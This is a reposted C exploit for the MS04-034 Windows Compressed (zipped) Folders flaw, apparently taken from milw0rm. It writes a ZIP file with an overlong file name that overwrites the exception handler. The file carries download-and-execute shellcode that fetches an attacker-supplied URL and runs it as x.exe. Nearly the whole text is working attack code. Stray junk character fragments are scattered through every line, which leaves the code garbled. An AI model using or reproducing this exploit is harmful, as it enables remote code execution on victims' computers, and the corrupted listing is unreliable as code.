(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English 0 Z0 Y( J$ Q3 I6 v0 G: @3 c$ P* + f4 p. v/ B, C+ ^* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * 0 B3 P0 T) j3 g% L' x* Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 2 y0 C6 A" W5 B* : H0 v1 D1 e' j! P7 G- b+ X0 c+ ^' m* Greetings t #haxorcitos, #dsr and #localhost @efnet * * $ y' ~$ Y5 p0 @2 @ R* How to get new offsets: 5 M s, d+ b$ i# j2 ^. F) \3 |* 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses " A, g( m7 m' J. i* */ ! v4 C# C; F. S0 ]' T2 w! n' a/ b #include <stdio.h> #include <windows.h> + E" N8 ]. y# Q8 p! [# b#pragma pack(1) ' U _0 Y W& S% Q4 e. g( j0 J7 v #define DATOS "Tarako-Haxorcitos.com" , k( ^' q1 O7 Q6 B" D9 H- X* X ( U) o. x1 `6 ? p2 X# @typedef struct { r, c& \& n& V; y3 p: M: SDWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; . f1 i" S+ H* PWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; 0 n9 Y; a4 W7 B uWORD ModFileTime; ( L/ M0 c8 L" a9 `. wWORD ModFileDate; 0 P& K5 z' l, C5 \DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; $ R1 P* q' E! z2 t+ b( W; Q# N# lWORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; - u' i* ~% n% S, Q6 c( v typedef struct { DWORD Signature; // PK.. 4 bytes (0x02014B50) 3 ^ F& c; u$ C: O0 hWORD MadeVersion; * I6 L; b# O4 ]3 AWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas / A$ W5 B# N4 i/ k9 E* @6 x6 nWORD CompressionMethod; 9 C+ E1 e3 \$ Z% B( e- ^* T+ s+ TWORD ModFileTime; 2 Y x5 w2 m* h! \+ w% D3 EWORD ModFileDate; DWORD Crc32; DWORD CompressedSize; : H8 v' H4 U+ s5 m qDWORD UncompressedSize; ( y7 c0 B9 ?3 ZWORD FilenameLength; WORD ExtraFieldLength; + q! ]/ \ J& w _+ c7 r7 iWORD FileCommentLength; WORD DiskNumberStart; ; T3 j' r! ?: p( `) w8 }WORD InternalFileAttributes; f N( S' I% x8 w( HDWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; // filename (variable size) // extra field (variable size) . ~ Q4 c1 e& r/ |8 Y// file comment (variable size) }MIDDLEHEADER; * |" z0 g2 U5 ?; @# B& S1 ]typedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; 0 F1 f) R8 [) Z K+ JWORD NumDisckStartCentralDirectory; 9 W" N* r* }8 K; a* q* J1 RWORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; DWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; 8 H! F; |0 y% z# }// zipfile comment (variable size) 2 J# t1 e! H, m3 Q/ ]1 t}BOTTOMHEADER; : g. G( q/ e9 R9 }: x, x; v/* * download shellcode - RaiSe - raise@netsearch-ezine.com */ F3 _3 s) s$ i: W4 |char shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" 6 `! W% r; R$ t# n"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" % G. H2 v+ R5 `- ]8 G- w$ h* K"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" ( O7 X$ G0 m+ q5 v, }; J4 m"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" g6 r% N" A8 u. ]; h. }"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" 1 f7 @5 p: B1 s9 G9 u"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" 7 G M2 a7 x; N/ G( J7 P1 R, u( _"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" ) `* b( m! c1 V, @/ D"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" 7 m6 z. D+ X0 k) R$ p5 p" B$ _"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 3 A' a/ f' X( g1 T"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" - o) C# W4 i# g* {/ E0 g+ I6 _"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" 8 Y. G7 T: e1 F9 D+ M$ F% \3 f"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" 9 I4 v# {" h* q \! M: X/ ~"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" * B4 y, z! W2 @7 |: t9 r"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; char shellcode2[] ="\x08\x01"; 4 |+ e! @$ M1 h0 N% Z1 @ + B# x& C* X; G2 U7 A; q& Echar offset[]="\x41\x41\x41\x41"; : N: N+ g/ H/ k7 g' {; V# S3 T. |) schar jmpbelow[]= "\xeb\x06\x90\x90"; ' v0 q. r2 z* q5 m' Tint main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; . y. f/ X7 o. K3 b5 N; BMIDDLEHEADER *Cabecera2; BOTTOMHEADER *Cabecera3; : A- d5 v$ @# `; T 9 B E1 s- @7 `8 i" t% lDWORD c; " j! B* j& V0 @5 G) Y& p) |UINT i; char *filename; : w. H c- }4 @; e- Gchar *url; / M B+ w1 w, h7 Tprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 9 i, q. K1 T7 l* T4 `' s5 _printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); ; m& x5 Q/ r- U3 A& H$ I& ~ if (argc!=2) { ! E5 L6 b3 Q& u8 s6 @printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); } ) W: l' _1 r) H) z) R - ^9 A: F p7 d ~" W) rurl=argv[1]; 3 t1 k( h8 x: d3 r1 Y" }printf("\n * URL: %s",url); " C3 ]; ~; X/ lif (!(ZipFile=fopen("prueba.zip","w+b"))) { W4 a7 j8 ]* c$ D% I* kprintf("\n [E] fopen()"); ' N# x7 ~6 w8 B! N `: m: {exit(1); 4 z; I9 g$ O/ p6 _& X h7 Z& H} # i5 n) T/ D' K c=0x8000; // filename length 9 m, I& i. i* ^filename=(char*)malloc(sizeof(char)*c); * w) x3 h$ r7 r2 A. L8 ^* Vmemset(filename,0,sizeof(filename)); for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); # L0 ^0 o. n" j7 k3 X- ?memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); 4 C8 ]- [% |. _' A memcpy(filename+(c-4),".txt",4); / a+ ?, t0 N7 z: c; r% aCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); , z2 z5 L+ h/ J# N5 T- ]/ l3 P4 VCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); L4 T3 U( U. C3 y/ b0 q/ jmemset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); & z% m9 u) ^: {2 Z) y+ r- P4 jmemset(Cabecera3,0,sizeof(BOTTOMHEADER)); /////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD ) V3 @6 v* d0 j& x$ ]; f* C1 @, {Cabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas 8 [8 U% ?) _/ H1 C5 c5 @' c+ eCabecera1->CompressionMethod=0x0000; // WORD Cabecera1->ModFileTime=0x1362; // WORD ( n3 v. {' c6 f4 x8 zCabecera1->ModFileDate=0x3154; // WORD 1 K$ a7 z6 p3 O$ a8 N, u/ z: ^Cabecera1->Crc32=0x85B36639; // DWORD * C6 G ]. U! U+ z jCabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// * ~2 o3 T! ^! ~6 q, M/ L' e2 I /////////////////////////////////////////////////////////////////// // MIDDLEHEADER / Q* Y! g; |3 A: g* ]& N7 D+ C( ]! x/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD & F) }( M7 g5 N: w. oCabecera2->MadeVersion=0x0014; // WORD 7 X i4 v* y% n! m& b3 Y0 uCabecera2->VersionNeeded=0x000A; // WORD Cabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD ( e# Q, Y% g) @Cabecera2->ModFileDate=0x3154; // WORD 0 e( [1 k3 H, G/ G# pCabecera2->Crc32=0x85B36639; // DWORD : B5 a. o9 c# o ~+ p$ g% YCabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD z$ u& S6 V! k$ v* W( tCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); ! e5 p$ h) m- qCabecera2->ExtraFieldLength=0x0000; // WORD : Y; j. X! |8 t/ }: T/ ]( HCabecera2->FileCommentLength=0x0000; // WORD % U; @/ b1 O( m/ R, wCabecera2->DiskNumberStart=0x0000; // WORD : z3 ~+ Z9 S$ E4 GCabecera2->InternalFileAttributes=0x0001; // WORD 0 M7 j+ R! [- h: vCabecera2->ExternalFileAttributes=0x00000020; // DWORD ! I0 @; N5 L; O8 g! ~& VCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD /////////////////////////////////////////////////////////////////// W/ z* K) I$ a3 M. \1 z1 z4 ^/////////////////////////////////////////////////////////////////// / O+ K+ ]+ F& f6 W8 w' G3 ]! d// BOTTOMHEADER : u8 v% ]. ?( y/////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD J# }' u; W4 c$ g2 S) s vCabecera3->NumOfThisDisk=0x0000; // WORD 2 N* E: K& M) d6 q$ {- i! ]Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD ! d1 v4 R: N( H6 m. f, N5 mCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD * Z' X# E/ v* r4 OCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 5 Z9 y3 D# H4 {. N; y* BCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD ' A" W+ ^$ O0 b2 s3 z% rCabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 1 B% E0 C# L0 a9 Y0 y: T; i2 f4 { fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); 3 k4 P4 l1 e: h9 @8 C9 a ! H1 Y. U2 L# e# t: I6 I7 wfwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); $ ^# a" |7 `* a! a5 L; [) `$ Qfwrite(filename, c, 1,ZipFile); 0 ]1 B) i8 {, j; J/ O5 wfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 7 l: r4 d! K) L, j: R9 v 4 ~- u$ I" ^& d( s, ifclose(ZipFile); 0 ~+ x( h5 N, Y0 e; O) ~printf("\n * prueba.zip created\n"); ) V) e3 g. I5 y3 Y U( E. I+ m3 Dreturn 1; : x/ P) y- o6 F. ^. {" x/ J, f}//downloaded from milw0rm.com 8 G7 L( I" y0 ^( f2 B